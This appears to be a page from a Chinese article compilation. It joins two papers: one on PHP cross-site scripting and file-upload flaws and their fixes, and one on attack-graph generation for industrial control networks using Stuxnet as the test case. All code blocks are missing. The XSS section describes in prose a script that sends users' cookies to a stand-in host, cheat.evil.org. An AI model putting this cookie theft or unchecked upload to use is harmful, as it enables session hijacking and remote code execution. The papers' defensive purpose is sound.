基于PHP技术开发的Web应用程序主要存在如下一些针对安全漏洞方面的攻击:命令注入攻击、eval注入攻击、客户端脚本攻击、跨站脚本攻击、SQL注入攻击、跨站请求伪造攻击、session会话劫持攻击、session固定攻击、http响应拆分攻击、文件上传漏洞攻击、目录穿越漏洞攻击、远程文件包含攻击、动态函数注入攻击、url攻击、欺骗表单提交攻击、http请求欺骗攻击等,限于篇幅,下面选择两个具有代表性的常见安全漏洞攻击来做详细分析。

2.1 跨站脚本攻击

跨站脚本XSS(Cross Site Script)漏洞攻击是指攻击者向Web页面里插入恶意html代码,当用户浏览该页面时,插入其中的恶意html代码被执行,从而达到特殊目的。

(1)跨站脚本攻击实例分析

针对跨站脚本漏洞进行的攻击方式多种多样,本文仅举一例。

假设某BBS论坛有一个发帖页面,如图1所示。

其采用了表单方法以帮助提交数据,表单的主要html代码如下:

程序向访问该bbs论坛的用户显示已发表的帖子,如果使用的代码如下:

从上面的代码可以看出,程序对于$Title及$Content的值给予了充分的信任,但这种信任是毫无根据的。试想,若Title和Content这两者其中之一的内容如下所示:

以上输入相当于在网页源程序中加入了Javascript代码,可以将登录用户的cookies发送到http://cheat.evil.org,然后由hook.php利用$_GET['cookies']变量就可以得到所有登录用户的cookies了。

(2)上述跨站脚本攻击之防范对策

以上漏洞主要是未对输出到浏览器的数据进行转义造成的,为了避免上述情况的发生,可以采用如下的方式显示已发表的帖子:

/*以下代码对输入的帖子主题Title和帖子内容Content进行转义*/

通过函数htmlentities()将输入中可能包含的html标签转换成了html实体(即编码形式),从而避免了上述攻击的发生。

2.2 文件上传漏洞攻击

由于文件上传功能的实现代码没有严格限制用户上传的文件类型,导致攻击者可以向通过Web访问的目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,这样就使得攻击者可以在远程服务器上执行任意的PHP脚本,这就是所谓的文件上传漏洞攻击(File Upload Attack)。

(1)文件上传漏洞攻击实例分析

如图2所示,是一个文件上传界面。其表单的html代码如下:

如果实现文件上传功能的PHP代码为:

上述PHP代码虽能实现文件的上传,但这只是对中规中矩的用户来说的,如果碰到恶意攻击者,问题就不一样了。因为上述PHP代码未对上传的文件类型进行检查,导致用户可以上传PHP文件,所以存在着明显的漏洞。

(2)文件上传漏洞攻击防范措施

为了避免上述文件上传漏洞的发生,可以采取如下防范措施,步骤如下:

1)对上传文件的类型进行检查,比如我们需要用户上传的文件是jpeg图片格式,则可以增加如下代码检查上传的文件的类型是否是jpeg图片格式:

2)由于PHP是在文件系统的临时文件区保存上传文件的,使用函数is_uploaded_file()可以判断临时文件区的文件是否是一个上传的文件,这样可以确保恶意的用户无法欺骗脚本去访问本不能访问的文件,代码如下:

3)最后可以用函数filesize()来校验文件的大小。

通过增加以上3个步骤,文件上传漏洞攻击发生的可能性大大降低了,最终的文件上传代码如下:

3 结束语

以上以PHP语言为例对两个常见Web应用程序安全漏洞的攻击及其防范对策做了较为详细的分析。第一个安全漏洞攻击,即跨站脚本漏洞攻击,是通过对输出到浏览器的数据进行转义来进行防范的。第二个安全漏洞攻击,即文件上传漏洞攻击是通过对输入的数据(此例中为上传的文件)进行一系列检查来进行防范的。在此不难看出,作为一个Web应用程序的开发人员,一定不能够相信用户的任何输入,对用户的任何输入都要进行过滤、检查,除此之外,系统的输出数据有时也会被黑客所利用,跨站脚本攻击就是一个很明显的例子。

综上所述,要确保开发出的Web应用较为安全,一定要遵循以下两个原则:第一,对于用户的任何输入,都要进行过滤,确保进入系统的数据是干净无污染的数据;第二,对于系统的输出,要进行转义,确保黑客无法利用输出的数据推断系统实现细节并进行攻击。

参考文献

[1]曾利军,罗庆云.网络应用程序开发的安全技术研究.网络安全技术与应用.2005.

[2]刘靖.浅析Web应用程序安全规划.科技信息(教学科研).2007.

[3]刘鹏,张玉清.PHP常见安全漏洞攻防研究.信息网络安全.2011.

[4]孙军军,赵明清.企业信息安全现状与发展趋势分析.信息网络安全,2012年第10期(总第142期)第90页.

漏洞攻击 第8篇

目前几乎所有的工业控制系统都缺乏IT系统网络必需的通信攻击防御能力[1],导致许多工业控制系统遭受了严重的攻击。在对工业控制系统的安全研究中,攻击树模型[2]无法对循环事件进行推理建模,模型检测器也无法应用于大规模工业控制网络中。

针对上述问题,提出了一种将节点的权值定义为由脆弱性[3]不同利用方式引起的系统损失、攻击成功的概率、已进行的攻击步骤。同时利用相关权值分析工业控制网络的最佳攻击目标,进而找到攻击该目标对应的路径,对其中的脆弱性环节采用重点修复的攻击图[3]生成技术,并通过实验验证了该技术的有效性,从而对工业控制网络的通信攻击防御能力的提升具有重要意义。

1 工业控制网络攻击图的生成

1.1 工业控制网络攻击图的生成算法

(1)工业控制网络的四要素

第一个要素是工业控制组件,用hi表示单个组件,工业控制组件集合用H表示,其共有以下4个参数,分别用host_id表示单个组件的地址;用service表示组件所提供的控制服务;用vuli表示可供远程或本地利用的组件上存在的脆弱性编号;用valuei表示组件具有的价值。

第二个要素是工业控制网络连接,用C表示,其共有3个参数,分别用HFrom表示连接起始的组件;用Pro⁃tocol表示连接协议;用HTo表示被连接的组件。

第三个要素是单个组件上的脆弱性,用vuli来表示,其共有3个参数,分别用host_id表示该脆弱性所在组件的地址;用Type表示该脆弱性的利用途径;用Att_patt表示该脆弱性的利用方式,其中各种利用方式如表1所示。

第四个要素是用户在单个组件上的权限,用access表示一般用户的浏览权限,用user表示普通用户的正常操作权限,用root表示系统管理员用户对该组件信息资源的全面操作能力。

(2)算法的推导

在一次原子攻击成功后,工业控制网络从网络状态Si变化至后一网络状态Si+1的过程,称之为状态迁移。工业控制系统网络若要发生一次状态迁移,必需同时满足以下4个条件:

①工业控制网络处于初始状态S0时,网络攻击者在攻击发起组件上必须拥有足够级别的权限,可以利用被控制的组件去攻击工业控制网络中的其他组件。用Hvictim表示已经被攻击者成功控制的组件,用Hgoal表示攻击者计划控制的组件,即目标组件;

②Hvictim与Hgoal之间应有C=(Hvictim,Protocol,Hgoal)≠Φ关系,这样才能确保网络状态的顺利迁移;

③目标组件Hgoal需要满足Vul=(Hgoal,Type,Att_patts)≠Φ关系,即目标组件存在脆弱性,这样攻击者才能利用其脆弱性进行网络状态的迁移;

④攻击者必须在目标组件Hgoal上至少取得最低操作权限,并且在已控制组件Hvictim上至少取得最低攻击权限,这样才能利用其脆弱性实现网络状态的迁移。

(3)算法的基本思想

如图1所示,从网络初始状态S0开始,用上述四条依次判断攻击者可能达到的状态,判断后,发现S1,S2,S3满足状态迁移的条件;根据宽度优先搜索的原则,依次对S1,S2,S3进行状态迁移条件的判断,从而预测攻击者可达到的状态。其中S3状态符合上述攻击条件的攻击目标函数Hgoal,说明S3状态是一个合适的攻击目标,这样就无需再对其进行状态迁移条件的判断;继续判断S1,其中S4,S5为满足状态迁移条件的节点,再对S2进行判断,S6为满足迁移条件的节点;然后继续对下一层节点S4,S5,S6进行状态迁移条件的判断,其中,S5状态满足状态迁移条件,是攻击者的一个目标,因此无需对其继续进行状态迁移条件的判断;继续对S4,S6进行状态迁移条件的判断,判断S4时发现其既无法到达任何新状态节点,又不能满足攻击目标函数,应作为最后一层;判断S6时,S7为满足迁移条件的节点,再对节点S7进行状态迁移条件的判断,发现该节点既无法到达任何新状态节点,又不满足攻击目标函数,则S7也为最后一层,至此完成了完整的状态迁移过程。

(4)算法的实现

以工业控制网络的初始状态为起点,依据前述四条状态迁移判定条件判断所有可能达到的网络状态,将判断结果加入状态队列。具体流程如图2所示。

1.2 工业控制网络攻击图的生成

(1)分析网络弱点

为分析脆弱性利用行为的特征,可以采用数据挖掘中的关联规则挖掘算法,该算法可以提取出同类脆弱性入侵行为的共性,但在提取过程中需使环境相关量和已知的脆弱性利用行为特征相结合,具体如图3所示。

(2)建立攻击原型

若攻击者要发动一次原子攻击,其必须具备以下条件:工业控制组件存在脆弱性;具备某种连接关系;具有一定级别的控制权限。

假如组件被成功攻击,那么攻击者就可以获得该组件更高的控制权限并增加网络的损失值,如此循环,上次原子攻击就为下次原子攻击提供了条件,直至最终达到攻击目标,实现攻击目的。

攻击原型建立的输入是网络拓扑结构和网络弱点分析部分,它们共同提供了网络弱点的具体信息。其中,网络拓扑结构提供的信息是工业控制网络四要素中的控制网络连接C、控制组件H和各个控制组件上的控制权限;网络弱点分析部分提供的信息是实际工业网络的连接状况和组件脆弱性Vul。然后使用攻击图算法中提出的Attacker攻击者模型作为攻击源,并利用Attack_rule规则把网络中的所有脆弱性转化成为攻击者的原子攻击集合,即构成攻击原型。

(3)推理攻击序列

推理攻击序列就是要把已经建立的各个攻击原型应用于实际工业控制网络中,从而确定攻击者对整体网络的攻击行为。

用atom表示一个独立的攻击原型,其包含两个参数,分别是攻击图的边edge和攻击图的点node。攻击图中edge和node的不断转移就把每个独立的攻击原型都关联起来了,这就构成了攻击者的攻击序列。所以要推理总体攻击序列就要推理atom与atom之间的转移条件。判断两个atom之间是否能够转移,具体步骤如下:

①确定两组件之间是否连通;

②确定不同攻击原型atom之间的权限使用关系,即攻击者从攻击原型atom1的攻击目标组件上取得的操作权限必须大于其在攻击原型atom2的攻击目标组件上使用的访问权限,这样才能不断地进行atom转化,使攻击得以持续进行。

用prolog语言实现上述过程代码如下:

攻击者的攻击方式分为直接攻击和间接攻击。攻击者直接攻击目标组件为直接攻击,其攻击目标组件的过程仅存在于两个攻击原型atom之间;而攻击者通过跳板组件间接攻击目标组件则为间接攻击,其能在多个攻击原型atom之间进行转化。针对不同攻击类型,用prolog语言实现不同攻击类型代码如下:

当经过推理得到攻击序列后,就可以确定从攻击开始状态到攻击目标的所有攻击路径。通过所有攻击路径构建攻击图:将目前的网络状态作为初始状态节点,将该步攻击行为和攻击成功概率、组件损失值作为边。

2 基于攻击图的渗透测试分析

在攻击图中融入传统渗透测试[4]过程的测试项目、测试目标、测试限制条件、测试用例四个因素就形成了渗透测试图。渗透测试的测试项目、测试目标和测试限制条件用顶点表示,测试用例用弧来表示,具体各部分如图4所示。

基于此模型进行测试,过程如下所示:

第一步,在实际工业控制网络中,一般已经采用了某种安全防护措施保护攻击路径,这可能会导致执行相应的测试用例后并不能达到预期目的,最终使测试成功后取得的渗透测试图与测试刚开始时的渗透测试图存在差异。所以测试中需要先对测试没开始时的渗透测试图进行改动,使其符合测试要求。

第二步,渗透测试完毕后,需要对渗透测试图进行分析,首先是将测试完毕后的渗透测试图与测试没开始时的顶点情况进行对比,从而得出测试项目的最后测试结果;然后通过测试结果搜索成功攻击路径;最后,根据渗透测试图中每条边的权值,确定算法中此步攻击的成功概率、此步攻击造成的损失值及到目前为止的攻击总步数,然后计算一条攻击序列的权值即可推算出网络攻击对该网络的有害性大小。

3 基于攻击图的漏洞风险评估

为了评估各漏洞的风险大小,实现对危害性大的漏洞及攻击路径重点防御的目的,采用漏洞的风险值大小[5]评估漏洞的危害程度[6]。要确定漏洞的风险值,首先要确定漏洞的全局被利用概率和漏洞的全局危害程度,具体实现步骤如下:

(1)使用广度优先遍历算法,从起始节点开始逐层计算每个节点被利用成功的全局被利用概率,用字母P表示;

(2)用value表示各组件的价值量,用Φ表示漏洞的独立危害程度,故单个漏洞对其所在组件造成的损失则为Φ×value。用字母Y表示漏洞的全局危害程度,即单个漏洞的关联危害程度W与该工业控制网络中的所有组件的价值量之和的比值。

(3)用R表示漏洞的风险值大小,其值为各个节点全局被利用成功的概率P乘以该节点的全局危害程度Y。

4 实验分析

实验以“震网”病毒作为攻击工业控制系统的攻击者,首先搭建实验用的模拟工业控制系统的网络[7]环境,然后根据前述方法生成攻击图,最后通过攻击图得到渗透测试方案及漏洞风险大小。

4.1 实验过程

(1)搭建网络拓扑

网络拓扑结构如图5所示。

(2)生成算法参数选取

由于“震网”攻击是以操作员站h1所插的U盘为渠道进入工控网络的内部,所以操作员站h1就是攻击发起组件。

工业控制网络中各组件的资产价值valuei如表2所示。

脆弱性利用方式影响系数记为αi,对组件资产的可支配权值记为θi,组件损失值记为Lossi,各个组件受到攻击后的损失值如表3所示。

(3)攻击图的生成

根据前述攻击图生成方法,“震网”病毒最可能攻击同时也是危害最大的四条路径如下:

①h1→h1→h3→h2→h5累计攻击步数为4,损失值为12.2,攻击成功概率为0.096;

②h1→h1→h4→h2→h5累计攻击步数为4,损失值为10.2,攻击成功概率为0.072;

③h1→h1→h4→h2→h6累计攻击步数为4,损失值为16.6,攻击成功概率为0.063;

④h1→h1→h3→h2→h6累计攻击步数为4,损失值为18.6,攻击成功概率为0.084。

(4)基于攻击图的渗透测试

测试目标、测试项目和测试限制条件等参数用渗透测试的顶点表示,测试用例用弧表示,渗透测试方案的生成采用深度优先遍历方法,将生成的渗透测试图与测试刚开始时的渗透测试图进行对比,其结果完全吻合。

(5)基于攻击图的漏洞风险评估

根据通用漏洞评分系统和漏洞利用关系图计算出每个漏洞的风险值,如表4所示。

如表4所示,漏洞风险值最大的是vul4,它就是WINCC中DLL的加载策略缺陷。可见“震网”攻击中,装有WINCC软件的组件是对系统威胁最大的漏洞,也就是说对此攻击路径必须进行重点防御,而实际防御情况也是这样,即说明分析结果正确。

4.2 实验结果

针对前述方法生成的攻击图得到渗透测试分析方案,使用该渗透分析方案分析得到的漏洞风险值与实际情况相符,证明了该攻击图生成方法确实可行有效。

5 结论

本文提出了一种攻击图生成技术,从而达到对工业控制网络的安全分析和漏洞分析的目的。给出了攻击图的生成算法及构建步骤,并应用该攻击图对“震网“病毒的攻击进行了实验,证明了该攻击图生成方法的正确性。但在计算系统损失值、攻击成功的概率指标时还存在很大的主观性,这些指标的确定还需在后面的工作中继续完善。

参考文献

[1]陈星,贾卓生.工业控制网络的信息安全威胁与脆弱性分析与研究[J].计算机科学,2012,39(z2):188-190.

[2]卢继军,黄刘生,吴树峰,等.基于攻击树的网络攻击建模方法[J].计算机工程与应用,2003,39(27):160-163.

[3]李忠武,陈丽清.计算机网络安全评价中神经网络的应用研究[J].现代电子技术,2014,37(10):80-82.

[4]崔颖,章丽娟,吴灏,等.基于攻击图的渗透测试方案自动生成方法[J].计算机应用,2010,30(8):2146-2150.

[5]张玺,黄曙光,夏阳,等.一种基于攻击图的漏洞风险评估方法[J].计算机应用研究,2010,27(1):278-280.

[6]张涛,胡铭曾,李东,等.一种量化的软件弱点评估方法[J].计算机工程与应用,2005,41(27):7-9.

[7]LANGNER R.Stuxnet:dissecting a cyberwarfare weapon[J].IEEE security&privacy magazine,2011,9(3):49-51.

上一篇:网络电子备课下一篇:合作与发展